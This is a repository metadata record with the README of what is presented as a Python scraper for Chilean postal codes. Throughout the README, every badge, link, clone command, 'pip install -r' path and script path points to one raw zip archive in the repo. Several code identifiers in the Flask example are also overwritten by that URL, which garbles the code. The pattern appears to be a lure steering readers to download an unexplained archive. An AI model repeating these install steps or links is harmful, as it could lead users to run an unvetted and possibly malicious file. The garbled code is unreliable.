{"id":28718730,"url":"https://github.com/matteuzzz/correos-cl-postal-code-scraper","last_synced_at":"2026-04-29T10:05:03.027Z","repository":{"id":293779736,"uuid":"985073521","full_name":"Matteuzzz/correos-cl-postal-code-scraper","owner":"Matteuzzz","description":"Python-based scraper that automates the postal code lookup on the official Correos de Chile website. It simulates the public form with autocomplete validation and returns clean JSON responses. Fully API-ready for integration with Django or Flask backends.","archived":false,"fork":false,"pushed_at":"2025-06-15T02:11:21.000Z","size":9,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-06-15T03:26:55.892Z","etag":null,"topics":["api-ready","chile","codigo-postal","correos-de-chile","form-autocomplete","headless-browser","json-output","playwright","postal-code","python","web-scraping"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Matteuzzz.png","metadata":{"files":{"readme":"README.MD","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-17T02:46:27.000Z","updated_at":"2025-06-15T02:11:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"7dc28764-385f-4ac3-9901-9a5d522185a2","html_url":"https://github.com/Matteuzzz/correos-cl-postal-code-scraper","commit_stats":null,"previous_names":["matteuzzz/correos-cl-postal-code-scraper"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Matteuzzz/correos-cl-postal-code-scraper","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Matteuzzz%2Fcorreos-cl-postal-code-scraper","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Matteuzzz%2Fcorreos-cl-postal-code-scraper/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Matteuzzz%2Fcorreos-cl-postal-code-scraper/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Matteuzzz%2Fcorreos-cl-postal-code-scraper/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Matteuzzz","download_url":"https://codeload.github.com/Matteuzzz/correos-cl-postal-code-scraper/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Matteuzzz%2Fcorreos-cl-postal-code-scraper/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259924679,"owners_count":22932782,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api-ready","chile","codigo-postal","correos-de-chile","form-autocomplete","headless-browser","json-output","playwright","postal-code","python","web-scraping"],"created_at":"2025-06-15T05:03:30.708Z","updated_at":"2026-04-29T10:05:03.021Z","avatar_url":"https://github.com/Matteuzzz.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 📦 Correos CL Postal Code Scraper\n\n![GitHub release](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) ![Python version](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip%https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) ![License](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip)\n\nWelcome to the **Correos CL Postal Code Scraper**! This Python-based tool automates the process of looking up postal codes on the official **Correos de Chile** website. It mimics the public form, ensuring autocomplete validation and returning clean JSON responses. This scraper is designed to be fully API-ready, making it an excellent choice for integration with Django or Flask backends.\n\n## 🌐 Table of Contents\n\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [How It Works](#how-it-works)\n- [API Integration](#api-integration)\n- [Contributing](#contributing)\n- [License](#license)\n- [Releases](#releases)\n\n## 🚀 Features\n\n- **Automated Postal Code Lookup**: Quickly fetch postal codes without manual input.\n- **Autocomplete Validation**: The scraper ensures that inputs are validated against the official form.\n- **Clean JSON Output**: Responses are structured in a JSON format, making them easy to work with.\n- **API-Ready**: Seamlessly integrate with Django or Flask applications.\n- **Headless Browser**: Utilizes Playwright for efficient web scraping.\n- **Cross-Platform**: Works on any system that supports Python.\n\n## 📥 Installation\n\nTo get started with the **Correos CL Postal Code Scraper**, you need to have Python 3.8 or higher installed on your machine. You can install the necessary dependencies using pip.\n\n1. Clone the repository:\n   ```bash\n   git clone https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip\n   cd correos-cl-postal-code-scraper\n   ```\n\n2. Install the required packages:\n   ```bash\n   pip install -r https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip\n   ```\n\n## 🛠️ Usage\n\nTo use the scraper, you need to execute the main script. The script will take the postal code as input and return the corresponding information in JSON format.\n\n```bash\npython https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip \u003cpostal_code\u003e\n```\n\nReplace `\u003cpostal_code\u003e` with the actual postal code you want to look up.\n\n## 🔍 How It Works\n\nThe scraper uses Playwright, a powerful web automation library, to interact with the Correos de Chile website. Here’s a brief overview of the process:\n\n1. **Initialization**: The scraper initializes a headless browser instance.\n2. **Form Simulation**: It navigates to the postal code lookup form and fills in the required fields.\n3. **Autocomplete Handling**: The scraper waits for the autocomplete suggestions to load, ensuring accurate results.\n4. **Data Extraction**: Once the postal code is validated, the scraper extracts the relevant data.\n5. **JSON Response**: Finally, the data is structured into a clean JSON format and returned.\n\n## 📡 API Integration\n\nThis scraper is designed to be easily integrated into your web applications. Here’s a basic example of how you can set it up with Flask:\n\n```python\nfrom flask import Flask, request, jsonify\nfrom scraper import PostalCodeScraper\n\napp = Flask(__name__)\n\nhttps://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip('/api/postal-code', methods=['GET'])\ndef get_postal_code():\n    postal_code = https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip('code')\n    scraper = PostalCodeScraper()\n    result = https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip(postal_code)\n    return jsonify(result)\n\nif __name__ == '__main__':\n    https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip(debug=True)\n```\n\nIn this example, a GET request to `/api/postal-code?code=\u003cpostal_code\u003e` will return the postal code information in JSON format.\n\n## 🤝 Contributing\n\nWe welcome contributions to improve the **Correos CL Postal Code Scraper**. Here’s how you can help:\n\n1. **Fork the repository**: Create your own copy of the project.\n2. **Create a branch**: Make a new branch for your feature or bug fix.\n3. **Make your changes**: Implement your changes and test them.\n4. **Submit a pull request**: Once you're happy with your changes, submit a pull request for review.\n\nPlease ensure your code follows the project's coding standards and includes tests where applicable.\n\n## 📜 License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## 📦 Releases\n\nYou can find the latest releases of the **Correos CL Postal Code Scraper** [here](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip). Download the latest version and follow the installation instructions to get started.\n\n## 🌟 Conclusion\n\nThe **Correos CL Postal Code Scraper** is a powerful tool for anyone needing to automate postal code lookups in Chile. Its clean JSON output and API-ready design make it suitable for various applications. Whether you are building a web app or just need quick access to postal codes, this scraper can simplify your workflow.\n\nFor further information and updates, feel free to check the [Releases](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) section.\n\nHappy scraping!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatteuzzz%2Fcorreos-cl-postal-code-scraper","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatteuzzz%2Fcorreos-cl-postal-code-scraper","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatteuzzz%2Fcorreos-cl-postal-code-scraper/lists"}